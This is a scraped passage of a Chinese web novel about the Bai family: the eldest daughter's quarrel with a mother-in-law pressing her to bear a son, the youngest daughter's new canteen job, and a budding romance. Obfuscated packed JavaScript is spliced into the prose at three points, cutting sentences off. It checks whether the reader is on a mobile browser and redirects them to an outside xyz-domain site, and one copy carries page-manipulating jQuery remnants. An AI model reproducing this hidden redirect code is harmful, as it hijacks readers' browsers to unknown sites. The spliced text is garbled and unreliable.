胡爱民不耐烦地看着她妈：“妈，你有空就赶紧给我找对象去。天天去看人家家里笑话有意思吗？还有今天，许老大的媳妇搞事情，你干嘛掺和到里面去。平白让我跟着丢人。” 没错，胡爱民怪他妈让自己丢脸了。至于他妈去当搅屎棍，其实他不怎么在意。前提是他妈别给自己丢人。没看大杂院那些个同龄男女，一个个都不怎么瞧得起自己。哼，还不是因为自家爸早早没了。家里有男人跟没男人还是不一样的。 没见大头那小子，爹都瘫了快二十年了。照样没人敢欺负。 说到底，大杂院的人就是欺负自己没爸。也是没爸，他才会20岁了还没个对象。 胡寡妇听到儿子的抱怨，连连低声道：“好好好，妈给你找对象，给你找对象。已经有眉目了，用不了多少天就能有消息。” 住在胡家隔壁的万家媳妇，这会儿正竖起耳朵听胡寡妇在那胡咧咧。要她说，白家大闺女大晚上回家，铁定是遇到什么事情了。但甭管人家遇到什么事情，光是看刚刚白叔、白婶的态度，就知道那家是欢迎闺女回去的。 —— 外头邻居复杂的心理活动，白家人暂时不知道。这会子大伙儿盯着坐在堂屋八仙桌边的母女三人。一个个都心情复杂起来。 白妈妈努力扯开笑容：“还说明天给你送猪肉去，没想到你就回来了。吃了没？要吃东西不？” 一听这话，白莲还没说话，六岁的秦淑芬已经捂着肚子叫到：“姥姥，肚子饿。”四岁的秦淑芳跟着猛点头，嘴里念叨着：“饿饿饿……” 白妈妈听完，立刻起身就要去给孩子弄吃的。白兰跟白梨看到后，直接说道：“爸妈，你们先说话，我跟姐去厨房给大姐她们煮个鸡蛋面条。” 白莲见妹妹起身，马上就想拒绝。但看到两个女儿眼巴巴的样子，又立刻住嘴了。 拉着二姐出来，白兰忍不住皱眉，这大姐到底遇到什么事情。怎么这个点带着孩子回来。她没记错的话，这个时候的人要是大晚上带着孩子回娘家，十有八九就是跟婆家闹矛盾。 只是今天刚听许建北提了大姐在食堂吃饭的事情。那会子她还怀疑是不是宋家在背后搞鬼。但现在大姐忽然这样回家。那大姐更加有可能是跟婆家闹矛盾了。 矛盾还是大到要带孩子大晚上回娘家的地步。 “肯定是出事了。不然大姐不会这样的。”白梨捅开煤炉子，看着火焰升上来，小声说道。 这时候院子已经没什么人了，两人边说话边开始煮面条。 —— 屋里，白爸爸跟白妈妈已经接连开口，询问白大姐到底发生什么事情了。不过白大姐只摇头，说是没出什么事情。就是跟秦胜利闹了点别扭。 闹别扭到带孩子晚上回娘家，怎么听都不靠谱。反正白家父母都不相信自家大女儿会这样任性。 白妈妈更是直接说道：“你不好说的话，明天我亲自上门问问秦胜利。” “妈，你暂时别管。我想先在家里住两天静静。” 一听女儿发话，白妈妈就不敢擅自做主了。但口中还是说道：“住家里好，西厢房那许建南不是今天结婚吗？你爸分了一块肉，明天给你们做红烧肉吃。” 一直在边上捂着肚子的两小，听到明天有红烧肉吃，立马欢呼雀跃起来。 就是在外头煮面条的白兰，听到欢呼声都忍不住笑了起来。 周围还有竖起耳朵听白家动静的，这会子听到孩子在高兴，就觉得白家大闺女应该是没出什么事情。不然，孩子也不会笑闹开来。 当然，被儿子抱怨一通的胡寡妇，这会儿听到孩子的声音，嘴角马上撇了下来。 —— 这一晚，白大姐跟两个闺女吃过面条，就在她的屋里睡了下来。 白家姐妹一人都有半间正房，就是嫁人了，屋子依然是保留着的。白大姐带着两个小女孩，自然够位置给她们睡。 第二天起来后，白兰想问问她妈大姐的事情。不过，院子响起了秦艳的喊声。白兰只得拿上两个馒头就先出门。 今天出门不为别的，主要是去学校领毕业证。领完毕业证再过三天，她就要去纺织厂的大食堂报道上班了。 跟着秦艳到了前院，大头也出门跟了上来。三人一路上就都在聊着昨天许建南结婚的情景。当然，白兰没有忽略秦艳那时不时看过来的好奇表情。不用问都知道，他们也想问白大姐怎么带着孩子回来了。 白兰当没看到，问她她也不知道。真正知道的，估计就是大姐的婆家人。就是昨天透消息给她的许建北， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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虽然厂里有伤残补贴，大头爹的工作也给他妈顶了。但是一个瘫子，每个月都要费不少药钱。所以，大头家即使只有他一个小孩，但经济情况是整个大杂院最差的。 所以，厂里没有欠宁家的。要直接给大头安排工作也说不过去。 这时候，秦艳就叹气：“要是你妈跟胡寡妇这样会胡搅蛮缠就好了。” 胡寡妇的男人在厂里抽烟烧了仓库，虽然丢了命，但那是他自找的。结果胡寡妇不止弄了赔偿金，还给儿子胡爱民弄了个电工的工作。秦艳的亲哥秦堂也是纺织厂的电工。很知道胡爱民并没有多少能耐。 大头一听胡爱民的名字就撇撇嘴。女娃们可能不知道，但他们那几条胡同，就没几个男娃看得上胡爱民的。就他那德性，不是他妈会搞事情，哪里能有现在的工作。 —— 三人聊着聊着就到了学校，白兰看着熟悉又陌生的学校跟同学，心里十分感慨。 她的这些同学中，一半的人表情都不咋滴，一问都是要下乡的。还有一些表情十分轻松，这都是已经有工作的。当然，还有一部分人已经在邀请同学参加自己的婚礼。 可真是一个班出来的同学，各自的命运天差地别。 白兰在他们中算是幸运的那一拨，所以她没怎么说话。就老老实实领了毕业证准备撤了，免得拉仇恨值。 但没想到的是，她是避开了学校的麻烦。但是一出校门，就撞上了其他麻烦。 9. 第 9 章 “小妹，你怎么在这？” 刚从学校出来，还没来得及高兴，白兰就被人给叫住了。她转头一看，是个二十多的壮汉。男人长得样貌普通，但一米八的大高个显得他挺精神的。 “大姐夫……”没错，这人正是大姐白莲的丈夫秦胜利。 秦胜利点点头又看向边上的秦艳跟大头：“艳子，你们是去哪儿？这个时候还不尽快找工作，别在外头乱晃悠。” “胜利哥，我们这是刚从学校领毕业证出来。” 白兰听到秦艳的称呼，忽然想起秦胜利跟秦艳还是堂兄妹的关系。 准确来说，秦艳的爷爷跟秦胜利的爷爷是亲兄弟。当年秦胜利小的时候，跟着他爷爷来大杂院走过亲戚。他跟大姐也是因为这样才认识的。两人当时自由恋爱结婚，在这年代可是时髦得很。 秦胜利听到秦艳的解释，表情这才好看起来。不过当他看向白兰的时候，语气依然严肃：“小妹，正好看到你。我问你，你大姐跟小芬、小芳昨晚是在娘家不？” 一问这个，白兰就更加不爽了。你一个大男人，媳妇带着女儿大晚上回娘家都不清楚，那你这人肯定有问题。所以白兰出口就十分不客气： “大姐夫，大姐是你的媳妇。你都不知道的事情，怎么来问我这个当妹妹的。没事的话我就先走了。” 说着，白兰转身就想走。不过马上又被秦胜利拦住了。 “小妹，我昨晚加班去了。早上下班回去才知道，你大姐带着小芬小芳一晚上没回来。我这不都出来找了吗？” 白兰懒得跟他磨叽，要知道大姐不在家里，去她家看看不就知道了吗？怎么还有时间在这里跟自己瞎扯淡。不会还有其他事儿吧！ 果然，那头的秦胜利说着说着，就开始抱怨：“你啊你，就是太年轻了。宋国平那是多优秀的男同志。你能跟他攀上亲事，这是占了多大的便宜。怎么就把人给得罪狠呢！” 白兰：…… 她已经不想跟这人说话了。难怪记忆中很少跟这大姐夫往来。原来这人说话这么不中听。 丢下还要继续说教的秦胜利，白兰三人快步回到了大杂院。 一回到家里，白兰先去看大姐还在不在。结果发现大姐跟两个外甥女都没在家里。就连她妈也不在。白兰估摸着她们应该出去外头买菜了。 果然，过了大概半小时，家里就热闹了起来。 —— 白兰观察了一下大姐的神色，发现对比起昨晚好了不少。两个外甥女也都一人拿着一根麻花在啃。看起来也都挺放松的。 她也没啰嗦，直接跟大姐说了路上遇到秦胜利的事情。 白莲听完后，神色变得十分难看：“你别理他。” 白兰小心翼翼观察对方的表情，想了想直接问道：“大姐，是不是秦家人欺负你了？” 这个问题，今天白莲起床后，已经有不少老邻居问过了。 她摇头：“就是一些事情没说开，所以有些矛盾。我就想着等大家都冷静下来后，才好沟通。” 白兰一听这说了跟没说一样，也没继续追问。大姐自己就是个成年人，有自己处理问题的方式。 白妈妈在边上听了一耳朵，忍不住啐了一口。这才往小闺女手上也给塞了一根麻花：“去，跟小芬、小芳一起吃去。” 两个孩子见白兰也啃起麻花，吭哧吭哧笑了起来。白兰能咋样？只好跟着小朋友一起笑了。笑着笑着，姨甥三人就坐在廊下，边啃麻花边看着院子里的情景。 —— 他们这边是高兴了，但是秦胜利却不怎么高兴。 说教途中被白兰撅回去不说，还被堂妹秦艳跟一个小子看到，这让秦胜利觉得自己十分没面子。 但他还记得自己一大早不休息出来找人的目的。只能收拾心情往大杂院这边赶。路上，他肚子饿了，还去附近的国营饭店买了两个肉包子填肚子。再之后才找来了大杂院。 所以，秦胜利一进大杂院，看到的就是白兰领着自家两闺女，边笑边吃麻花的轻松样。 明明平时看到闺女他也挺高兴的，但现在因为白兰的不给面子，秦胜利心里一阵气闷。 不过，他还是努力笑笑，朝两个孩子喊道：“小芬、小芳，爸爸来啦！” “爸爸，爸爸……” 见到爸爸，两孩子高兴得跟什么似的，立刻冲上去一人一个抱着秦胜利的腿。秦胜利也是一副高兴样儿。直接动手就把两孩子抱到手臂上。 在院子里活动的邻居们见状，一个个都一脸欣慰的笑容。有人更是直接说道：“胜利啊，我就说你跟你媳妇没有吵架。昨晚你媳妇这冷不丁带孩子回来。好些人都说你媳妇跟你闹矛盾呢！” 秦胜利一听，立马摇头：“那没有。要不是我昨晚加班，我都跟着媳妇回来了。这不是听说小妹今天拿到毕业证吗？我们夫妻是来祝贺的。” 冷不丁被cue到，白兰有点无语。之前遇到这大姐夫，对方可不是知道这件事情。现在倒是懂得把自己拉出来当挡箭牌了。 但白兰也没反驳。大姐家的事情，大姐会自己处理。 院子那么热闹，屋里的白大姐跟白妈妈早听到出来了。现在秦胜利这样一说，白大姐也没拆台。只笑着让秦胜利带孩子进屋里，院子太阳大。 —— “小莲……” 一进屋，秦胜利就十分自然地喊着白大姐，顺道对着白妈妈喊了声妈。接着又说道：“妈，小莲昨晚这样突然回来。真是麻烦你跟爸了。” 白妈妈：“我自己的闺女、外孙女，没什么麻烦不麻烦的。倒是你，是不是做了什么对不起小莲的事情？” 大闺女不愿意说。但她这当妈的，却不想轻轻放过。 秦胜利一脸为难，但咬牙还是说道：“就是我妈跟小莲闹了点矛盾。” 白大姐一听，立刻说道：“胜利，这点糟心事你就别说了。反正只要你跟你妈说清楚，这次的事情就算过去了。” 白兰在边上真是云里雾里的。她真的发现这大姐就跟她老爹说的那样，就是那种什么都自己担着，不想让家人跟着为难的那种。 白妈妈显然也知道闺女的性格，见对方态度强硬。而秦胜利又是一副求和的模样。她最终没有再说其他。 只留着这一家子吃了午饭，就让他们回去了。 不过，看着大姐一家四口离开的背影，又想想中午饭桌上，两外甥女对红烧肉的馋劲，白兰总觉得事情没有那么容易解决。 —— 接下来两天大姐那边没有再出什么事情。大杂院这里苏小妹倒是跟柳美玲闹过几次，不过都被柳美玲打脸回去。除了这些，日子好像也挺平静的。就是在这个情况下，白兰迎来了她上班的日子。 “进去后直接去食堂找你楚叔就可以。白案也就早上那会子比较忙。其他时候就清闲多了。” 一大早，白兰就跟着白爸爸一起出门。路上，白爸爸再次给小闺女说起食堂工作要注意的事情。 白兰边听边点头，对接下来的工作一点都不担心。她穿越前就会做各种包子馒头糕点，原身同样有做面食的技能。加上大食堂能做的白案不外乎就是包子馒头。所以，这个工作对她难度不大。 唯一的难度可能就是要早起。 因为纺织厂的大食堂给职工提供一日三餐。早餐在六点半左右开始供应。即使包子馒头的面团提前一天发。但她也最少要在五点半左右开始工作。 好在，她不是唯一的白案师傅。再者，一天要消耗的包子馒头出锅后，她这天的工作也差不多结束了。 骑着自行车，父女两很快就到了纺织厂。跟老爹道别后，白兰自己一个人在门卫那出示了工作证，然后直接朝大食堂走去。 大食堂这会子热闹得很，住在厂里的职工都已经到了，各自开始了忙碌的工作。 白兰一过来就看到后厨烟熏火燎。负责人楚叔正在那指挥员工干活。看到白兰过来，他笑着道：“来得正好，我带你去见见其他白案师傅。” —— “那小姑娘就是新来的白案师傅？” 几个四十多的中年女人正在水槽那边，冲洗今天要用的各种厨具。看到白兰被大师傅带着朝白案组那边走去，立刻嘀咕了起来。 “应该就是她了。听说是住在杏花胡同三号大杂院的。她家你们也听说过，就是那绝户头老白家。” 这话一出，好些人发出长长一声哦字。 “也不知道老刘干嘛好好的白案师傅不干，居然把工作让给个小姑娘。” 几个人又开始议论起白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这人白兰确定是不认识的，翻找了一下记忆也没找到这个人。自己这第一天来上班，总不能就得罪人了吧！ 所以，这人主动找茬，着实有点奇怪。 “我说手滑就是手滑，你不信也不干我的事。”蔡大妈胡咧咧完，转头就想走。 —— 不过，这时候白兰已经不去想自己怎么得罪人了。她直接开口：“就是手滑了，也得道个歉吧！当然，你不道歉也可以。你这算是工作失误。我记得员工手册有规定，倒水不能倒在地上，要倒在水槽或者水沟里面。你要是不道歉，我就跟大师傅报告这个事情。” 蔡大妈一听瞪大了双眼，她怎么不知道还有这条规定？其他人同样如此。虽然她们也不会在门口倒水。而是会去另外一边的水沟。但是，员工手册真的有这条规定吗？ 面对众人的疑惑，白兰自信点头。 她来上班前，可是把食堂员工手册都记住了的。这是个特别讲究规则的年代。记住员工手册，说不定哪天就能提供便利。只是没想到第一天上班就用上了。 蔡大妈还想闹腾，但白兰看她那副样子，知道这不是个善茬。索性也不跟她啰嗦了。直接就去找大师傅老楚报告了这个事情。 结果自然就是蔡大妈被大师傅批评了一顿，还扣了当月的奖金。 这个结果宣布出来后，大伙儿看向白兰的目光都变了。都以为这是个小姑娘，脸皮一定很薄。没想到刚上班第一天就那么厉害，把蔡大妈给将了一军。 食堂发生的事情，随着午饭的人员流动，很快就在纺织厂传开了。白兰回到大杂院的时候，迎来的就是邻居们那好奇的追问。 有人夸白兰干得漂亮，有人觉得第一天上班就这样强势得罪人，后面白兰的日子不会好过。 总之说啥的人都有，白兰倒是淡定的很。她不觉得那蔡大妈能奈自己何。工种不同，她是师傅，蔡大妈是杂工。基本上只有她给对方穿小鞋的。 事实也是这样。 所以，蔡大妈下班后，丢下围裙就匆匆离开了大食堂。不管身后众人那嘲笑的嘴脸。她边走边在心里暗恨：哼，她是整治不了这叫白兰的臭丫头。但是，有人能给她家添堵！ 10. 第 10 章 “谁啊！” 一大早家里上班的都去上班了，两小孩也送育红班了。赵大妈穿着新做的衣裳，刚准备出门。就听到有人敲门的声音。 打开门一看，她心里就乐了。又是一个上门送礼找门路的。 别看他们老秦家三代没出过一个领导。但他们家三代都是钢厂的职工。这样的人家，就是钢厂这样的万人大厂那也是不多见的。 加上他们老秦家亲戚多，认识的人多。所以每年到钢厂招工的时候，上门到她家找门路的人就特别多。他们啥也不用做，就把这些人介绍给其他人，中间也能得些好处。 眼前这个姓蔡的女人，就来过几次。每次上门送的鸡蛋红糖虽然不咋值钱，但这人会说话啊！ 这不，见来人是蔡大妈，赵大妈马上打开门：“哎哟，蔡妹子。好几天没见你了！” 蔡大妈见状，笑眯眯地朝赵大妈扬了扬手里挎着的篮子：“赵大姐，这不是巧了吗！我刚好来这边给我儿媳妇买鸡蛋。顺路就来看看你了。” 赵大妈开始没反应过来，听到后也没怎么在意。钢厂附近就有一个黑市。好多人都爱在那买东西。 只是很快，就听蔡大妈抱怨道：“我那儿媳妇怀了孙子后，那胃口好得不得了。一天不吃一个鸡蛋都不乐意。哎，我都跟她说了，生完这胎别生了。家里都四个孙子了。再生，这鸡蛋都供不起……” 正喜滋滋准备跟蔡大妈炫耀新衣裳的赵大妈，听到这话，瞬间脸就垮了下来。 —— 那头，蔡大妈仿佛没有发现赵大妈难看的表情，自顾自地抱怨了一通儿媳妇太会生儿子了。又说家里几个孙子天天闹腾，让她连上班都没有力气云云。 反正赵大妈是越听越抓心挠肺，觉得这个会说话的蔡大妈，也变得面目可憎起来。 蔡大妈仿佛才发现了赵大妈的异样，伸手捂住嘴巴：“哎哟，赵大姐，看我这嘴。该打该打……”说着，蔡大妈伸手打了两下自己的嘴巴。 看她这样，赵大妈就是再大的火气也发不出来。蔡大妈也没磨叽，马上就把一早准备的话说出来。 “老姐姐，我也知道你家的情况。托大说一句，你说你家几个铁饭碗，没个儿子继承，以后就便宜外人了。趁着你儿子、儿媳妇还年轻，你这当妈的就得管管他们。别到老了后悔，到时候要生也生不出来了。” 赵大妈把这话听进去了，这话也确实说中了她的心思。但她嘴上还想教训蔡大妈两句，让她别管自家的事情。但马上，蔡大妈就像会读心术一般，立刻又自怨自艾起来。 “不要像我家这样，儿子孙子是多了，但是一个个都没个正经工作，家里都快要掀不开锅了。要不是这样，我也不能跟大姐你认识对不！” —— 蔡大妈说到这里，心里也是一阵憋闷。她家的情况就真是儿子多孙子多，偏偏有正经工作的就是她跟家里的老头子。好不容易打听到食堂白案师傅老刘，正到处找钱给他儿子走门路。 蔡大妈就咬咬牙，借了高利贷，跟老刘谈好了买他工作的价格。但是，钱还没给到老刘，老刘这老家伙就反悔了。说有个冤大头拿钢厂采购的岗位来跟他换工作，他不答应那是傻子。 到头来，老刘的儿子得了好工作。那换工作的人得了食堂的工作。就她这个倒霉催的，借了高利贷的钱，结果工作没买到。再想还钱，发现还要多付上百块的利息。 这怎么能不让蔡大妈恨！ 之前那得了食堂工作的人没来上班，她就开始打听这人的情况。想着等她上班一定要给这人教训。结果没想到，自己这教训没给出去，那该死的臭丫头倒是狐假虎威，把自己给教训了一顿。 哼，为了给儿子找工作，自己可是跑了不少厂子的。眼前这个姓赵的老女人，就是那臭丫头大姐的婆婆。既然自己拿那臭丫头没办法，那她就拿这臭丫头的大姐开刀。 她可是知道这姓赵的老女人，可嫌弃她儿媳妇没给她生孙子的。 —— 白兰没想到自己这个食堂工作的背后，居然还有那么一番曲折的故事。更加不知道蔡大妈居然报复心那么强，拿自己没办法就去找自己大姐麻烦。 这天白兰来上班，看到蔡大妈请假没来，她也没太在意。主要是她来例假了，小肚子居然有点隐隐作痛。没法子，上午的工作完成后，她就立刻去找中药店，准备抓点四物汤来调理一下。她这症状，正适合喝四物汤。 药店的客人不多，也就几个。白兰一进去刚想找抓药的药师，就看到对方被个中年大妈给缠住了。 “你这里的蝎子干怎么那么小？还有这蚯蚓干？怎么瘦巴巴的。” “大妈，这药是供销公司那边送过来的。你要是有意见，找供销公司去。” 这药师显然也不是个善茬，一听大妈的抱怨，突突两句就怼过去。 中年大妈一听，表情更加难看。但她也知道自己拿这些卖东西的没办法。只在那嘀咕：“要是你这药药效不够，我儿媳妇怀不上儿子，我一定会回来找你麻烦。” 在后面排队等着抓药的白兰，听到蝎子干、蚯蚓干，就忍不住皱眉。心想什么病要喝这玩意儿。结果下一句就听到这大妈嚷着儿媳妇怀不上儿子。难不成这蝎子干、蚯蚓干还是生子秘方不成？ 这简直是乱来。 那药师显然也跟白兰同样的想法。药师虽然不是中医，但是也懂药理。这大妈拿过来的药方，跟生子药方压根儿不沾边。她忍不住说道：“你这药方哪来的？看着不像是调理身体的。” 大妈：“你不懂就别多嘴。给我药方的人，可是生了好多儿子孙子的。” 药师嘴角抽抽，心想这药方也吃不死人。她就不该多管闲事。 白兰听着听着，心里默默地为对方的儿媳妇叹息。只希望对方到时候别喝这什么生子秘方。 —— 但当她感叹完的下一秒，看到转身拿钱的大妈，忍不住瞪大双眼。 白兰揉了揉眼睛，确定自己没看错。眼前这大妈不就是她大姐的婆婆赵大妈吗？记忆 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许建北见她不说也没深究。自从上周末三哥的婚宴后，他就没再见过白兰。但他知道白兰这周的周一去学校拿了毕业证。周四开始去纺织厂的大食堂上班。今天周五，还有两天就是周末。这个周末，他们本来约好四个人一起吃饭的。 他还盘算着那天看看找个机会，跟白兰聊些事情。没想到居然提前两天就见到对方。就是这见面的地点不太好，居然是在药店。 —— “我跟你们说，这生子秘方也是人家给我的。给我那人的儿媳妇一个人就生了四个儿子，肚子还揣着一个呢！反正你们爱信不信，秘方给你们了，我没时间跟你们说话。还要赶紧回去把这药个煎了。” 赵大妈拿着刚刚包好的中药包，吆喝着让那些人别围着自己。 许建北来得晚，没听到具体的生子秘方。但是，他也认出了赵大妈。所以一听生子秘方，大概就知道是怎么一回事。 他忍不住看向白兰，看看白兰想怎么处理这个事情，需不需要自己搭把手。他在钢厂认识的人不少。好朋友更是跟赵大妈同一个楼栋。也是因为这样，他认得赵大妈一家子。 白兰看着赵大妈急哄哄离开了药店，这才说道：“真是让你见笑了。这事情我要回去跟我爸妈提提。大姐那边，也会给她打电话提醒。” 许建北：“真不需要我帮你做什么？我朋友家就在老赵家楼上。” 白兰听出了许建北是真心想帮忙的。但现阶段好像也只能给大姐提个醒儿。具体要怎么做，其实要看大姐自己的意思。要是大姐真有生儿子的念想，他们也不能说什么。 再次看向许建北，她觉得有点好笑。两人每次相遇好像都挺抓马的。 不说第一次在大杂院见面，就说上一次，两人碰到了许建北的大嫂搞事情。这次碰到的就是自家大姐的婆婆搞小动作。 这缘分可真是…… 许建北也看懂了白兰眼中的笑意。他看了看自己手里拿着的狗皮膏药，再看看白兰手里提着的中药包，也觉得挺好笑的！ 11. 第 11 章 “妈，这是什么药？” “补身体的。你不是嫌弃我让你们母女三吃了半个月的窝窝头吗？现在专门给你熬了补药。喝了就别再跟人说我苛待你们母女了！” 下午下班回到家里，迎接白莲的就是一碗黑乎乎散发着腥臭味的中药。想到上班时小妹电话说的话，白莲只觉得眼前一阵发黑。 “我身体很好，不用喝药补身体。妈，你跟爸还有爷爷奶奶更加需要补身体。这么精贵的药我就不喝了。” 白莲冷着脸拒绝了这补药，转身就准备进屋里。她想静静。前半个月就是因为婆婆步步紧逼，一定要她生个儿子出来。自己不愿意，对方就故意顿顿做窝窝头野菜糊糊给她们母女三吃。 她是大人无所谓，但是小孩正是长身体的时候，所以后来几天，白莲就索性带着孩子去厂里食堂吃饭。这戳到了婆婆的肺管子，指着自己骂了一通。气不过，她就带着孩子回娘家了。想着等丈夫忙完回到家里，再跟对方好好谈谈。 结果看起来是好的，丈夫了解了事情的来龙去脉后，说服了婆婆。让她好好做饭，更加不要逼自己生儿子了。 白莲以为日子会恢复正常。哪成想下午妹妹打来了那么一通提醒自己的电话。挂断电话的时候，白莲其实依然心存侥幸。只是现在她知道，自己有多么天真。 —— 这时候，屋门被打开，响起两个女儿欢快的喊声：“妈妈，妈妈。老师奖了我们大红花……” “今晚吃什么？爸说他要加班，可能……”接孩子回来的秦胜利，刚进门就说了自家爸不回家的事情。只是话没说完，就看到自家妈跟媳妇对峙的局面。他忍不住觉得烦躁起来。 “你们又怎么啦！” 赵大妈见到儿子，那个委屈啊！ “我好不容易跟人要了个补药，吃了就能生儿子。胜利啊，让你媳妇赶紧趁热喝了吧！” 白莲：“我不喝，生不生儿子不是喝药就能来的。而且，我们两现在不适合再生孩子。生两个正正好！” 赵大妈：“我们家几个铁饭碗，不生儿子以后就真便宜外人了。” 白莲：“便宜什么外人？小芬小芳不也姓秦吗？” 秦胜利左看看亲妈，右看看媳妇，两人你一言我一语的。他越发觉得脑壳疼。但他又不能直接发脾气，干脆丢下这一屋子女人，转头开门就走了。走之前留下句回去加班就没了。 这个结果，让白莲相当失望。但男人不逼着自己生儿子，白莲也只能安慰自己，这个男人能做到这样已经很好了。 她低头拉着两个闺女直接进屋，不理会准备教训她的婆婆。 —— “你们说我这命是不是很苦？” 傍晚时分，家家户户不是在做饭就是在吃饭。偏今天比较特别，老秦家的赵大妈饭都不吃，在走廊就拉着邻居们开始诉苦。 本来在做饭的邻居们一见有八卦可听，也不嫌弃赵大妈耽误事儿了。 “我都一把年纪了，孙子的影儿还没摸着。我们老秦家的根就要断送在我手里了。你们说我苦不苦？哪个女人不生儿子？偏她白莲就精贵，生了两闺女就嚷嚷着不生了。我呸。孩子生得越多越好。我要不是生胜利的时候伤了身子，我早生他十个八个了。” 邻居们听到这里，忍不住腹诽：你也知道生孩子伤身体啊！你那儿媳妇生二闺女的时候可是遭大罪的。现在逼人家生儿子。就不怕人家又遭罪啊！ “当年我就不该让胜利娶她的，她们老白家就是绝户头。现在把绝户头的风气都传染到我们老秦家来了。真是造孽啊！怪道厂长家不跟那白家小闺女说亲事了。这样的人家，谁敢要啊！” 我就敢…… 站在走廊尽头听了两分钟的许建北，在听到那句谁敢娶之后，条件反射地低声回了句“我就敢”。话音刚落，他自己都忍不住笑了起来。 果然，他心里很欣赏白兰同志。 之前两次他碰上白兰，就是想跟白兰聊聊，确定一下自己的心意。没想到还没跟对方有机会长谈，听个闲话倒是看清楚了自己的心意。 “建北，你小子说啥呢？”曹昌盛觉得今天许建北很不对劲。 准确来说，是从买完狗皮膏药回来就开始不对劲。要不是那药膏是老师傅们常用的，曹昌盛都要以为许建北去错地方了。 现在，这家伙居然还学会听老大妈的瞎扯淡了。愣是拉着他在走廊这里站了两分钟。听那些无聊的婆媳矛盾，生儿子问题。 这还不算，这家伙听着这些婆婆妈妈的事情，居然开始自言自语起来了。别真是人变傻了吧！ 听出曹昌盛语气中的怀疑，许建北直接给了对方一个手肘。 “哎，你小子……” “别叫了，走，请你吃饭去。” “怎么忽然那么大方呢？” 许建北心想，因为有值得庆祝的事情。 —— 白兰可不知道许建北居然在钢厂筒子楼，亲耳听到大姐婆婆的奇葩诉苦。还因为这事儿，确定了自己的心意。 她在药店跟许建北道别后，先是给大姐办公室打了电话，告诉她生子秘方的事情。下班回到家里，同样把事情告诉了家里人。 “我就说上次你们大姐回来，铁定是跟婆家闹矛盾了。没想到是跟生儿子有关。”白妈妈听完原委，唯有叹气。这生儿子不生儿子的，根本不是人力可以控制的。像她，不就生了四个闺女吗？她跟自己男人都觉得闺女儿子一个样。 前两年没见老秦家对自家闺女生不生儿子有意见的。当时白妈妈还很欣慰，觉得大闺女遇上好人家了。哪成想这事儿现在才暴露出来。 也不知道大闺女是承受了多久的压力！ 白爸爸更是一拍桌子：“他们家要是有意见，我就把咱家大闺女接回来住。哼，又不吃他老秦家，穿他老秦家的。怕啥！” 白梨跟着点头，她觉得爸妈是对的。但白苹则是摇头：“咱说再多也没用，大姐怎么想谁知道！别又跟上次回娘家那样，忍忍就过去了。” 白大姐还真是有忍忍就过去的想法。主要是孩子都生了两了，加上秦胜利除了不会处理她跟婆婆的关系之外，暂时也没太大的毛病。最起码不会打人，不会酗酒赌博。工作也还行，家里也没负担。 而且，她一个在妇联工作的人，家里和谐才是应当应份的。 —— 于是，当天晚上，当秦胜利从外面回来后，白大姐虽然察觉他其实没去厂里加班。但当不知道，反而跟他讲了下今天跟婆婆闹矛盾的过程。 总结来说，就是生儿子。但是，再生一胎，谁也不能保证是儿子。而且，她生二闺女的时候大出血。再让她生一胎，她心里恐惧。 秦胜利听着媳妇的陈述，心里忽然就响起他妈这些天跟他的叨叨。 家里几个铁饭碗以后会便宜外姓人。哪个女人不生孩子的，生儿子是女人的任务。一胎不成就下一胎，不能当个绝户头。 这些话一直在秦胜利脑海中闪现，搅得他一晚上没个安生。 白莲却以为秦胜利跟上次一样，把自己的话听进去了。所以睡得好好的，第二天高高兴兴上班去了。只是到了中午，去找秦胜利一起吃饭，却被他拒绝了。白莲也没多想，只当对方是工作忙碌。 晚上下班回来，发现秦胜利回家吃过晚饭又出门去了。说是去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880071|159770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加班，但白莲却知道肯定又跟昨天一样，不知道去哪里躲着家里的事情了。 这让白莲心中失望不已。 —— 另一头，白莲的事情虽然家里人着急，但大家不是当事人，大家都没有办法给她做什么决定。 周末一到，白妈妈就跟白爸爸一早出门。说是要去大姐家探望。 白兰则是换好衣服，准备跟秦艳、大头一起出门。他们三上周就被许建北邀请，这天一起上国营饭店吃饭。 不过，到了要出门的时候，秦艳跟大头纷纷表示临时有事，让白兰一个人去赴约。这让白兰有点摸不着头脑。最后只能一个人前往国营饭店，跟许建北见面。 看着白兰离去的背影，秦艳忍不住伸手锤了大头一下：“我们就这样让兰兰一个人去好吗？” 大头龇牙咧嘴地揉了一把肩膀，嘀咕道：“怎么不好！他们两瞧着就有事情要说。我们不去正正好。” 反正白兰自己都说中意北哥这样的。北哥又是个单身汉。人又是个好的。看着也不像是不动心的。他这当人小弟的能咋滴？只能制造机会，让大姐头跟大哥利利索索，早点确定关系得了。 —— 对于大头这番“心意”，白兰在见到许建北后，忽然就有领悟。她失笑摇头看向许建北。 许建北立刻拉了拉衣摆，生怕自己哪里没有收拾妥当。 白兰见他这个反应，脸上的笑容加深了不少。 “咳，大头这小子有事不能来也不早说。”说着，许建北小心翼翼地观察白兰的表情。见她脸上的笑容一直没下来，他的胆子就越发大了起来。 “不过，也幸好他跟那女同志都没来。不然，我们也不能有机会单独聊聊。” 白兰听到这话忍不住点头。她也想有个地方，可以慢慢跟许建北聊聊，确定一些信息。 “白兰同志，你觉得我怎样？” “我觉得你长得好看，人品看着也很不错。”白兰实话实说，并没有扭扭捏捏。而这正是许建北欣赏她的地方之一。 